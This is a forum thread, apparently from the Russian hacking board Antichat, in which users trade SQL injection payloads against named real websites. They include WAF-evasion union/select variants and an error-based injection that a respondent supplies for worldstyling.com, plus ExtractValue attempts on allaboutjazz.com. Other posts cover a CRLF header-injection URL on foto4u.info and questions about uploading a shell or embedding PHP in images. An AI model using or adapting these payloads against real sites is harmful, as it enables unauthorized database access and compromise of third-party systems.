09.12.2011, 02:57
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от SergioBlog
Реально ли залить картинку с пхп кодом внутри и сохранить этот код после обработки?
В начале файла добавляется: CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
ну и пхп код сносит само собой
нет.
|
|
|
09.12.2011, 04:08
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
Sorry for bringing back WAF topic.
I have read all articles on SQL Injection in antichat so don't think should be given again.
Код:
http://www.worldstyling.com/web/product_detail.php?id=-95/*!UnIoN+SeLeCt*/1,2,3,4,5+--+
Once I want to get union it tells Not Found, Not Found. |
|
|
|
09.12.2011, 04:09
|
|
Новичок
Регистрация: 22.08.2011
Сообщений: 2
С нами:
7749686
Репутация:
0
|
|
www.allaboutjazz.com/php/article_archive.php'
как раскрутить? Использование пробелов в корне запрещено
www.allaboutjazz.com/php/article_archive.php'or(ExtractValue(1,concat(0x3a, version())))='1
пишет FUNCTION allaboutjazz.ExtractValue does not exist
какие еще могут быть варианты?
|
|
|
|
09.12.2011, 04:10
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
Код:
http://www.worldstyling.com/web/product_detail.php?id=95/*!UnIoN!*/+/!*SeLeCt*!/1,2,3,4,5+--+
tried all WAF solution, nothing comes.
And also, checked souurce. |
|
|
|
09.12.2011, 04:37
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от lightangel
Код:
http://www.worldstyling.com/web/product_detail.php?id=95/*!UnIoN!*/+/!*SeLeCt*!/1,2,3,4,5+--+
tried all WAF solution, nothing comes.
And also, checked souurce. http://www.worldstyling.com/web/product_detail.php?id=95'+or+1+group+by+concat_ws( 0x3a,version(),rand(0)|0)+having+min(0)--+
|
|
|
|
09.12.2011, 14:03
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
С нами:
9153939
Репутация:
5
|
|
Народ, что это ?
Код:
http://foto4u.info/go.php?link=video&s=100&url=%0d%0a%20SomeCustomInjectedHeader%3ainjected_by_wvs
|
|
|
|
09.12.2011, 14:05
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от XAOCX
Народ, что это ?
Код:
http://foto4u.info/go.php?link=video&s=100&url=%0d%0a%20SomeCustomInjectedHeader%3ainjected_by_wvs
acunetix
|
|
|
|
09.12.2011, 14:06
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
С нами:
9153939
Репутация:
5
|
|
Сообщение от Gorev
acunetix
Что с этим можно сделать ?
|
|
|
|
09.12.2011, 14:57
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от XAOCX
Что с этим можно сделать ?
SomeCustomInjectedHeader
переведи и подумай...
|
|
|
|
09.12.2011, 15:39
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
С нами:
9153939
Репутация:
5
|
|
Сообщение от Gorev
SomeCustomInjectedHeader
переведи и подумай...
Шелл получится залить ?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
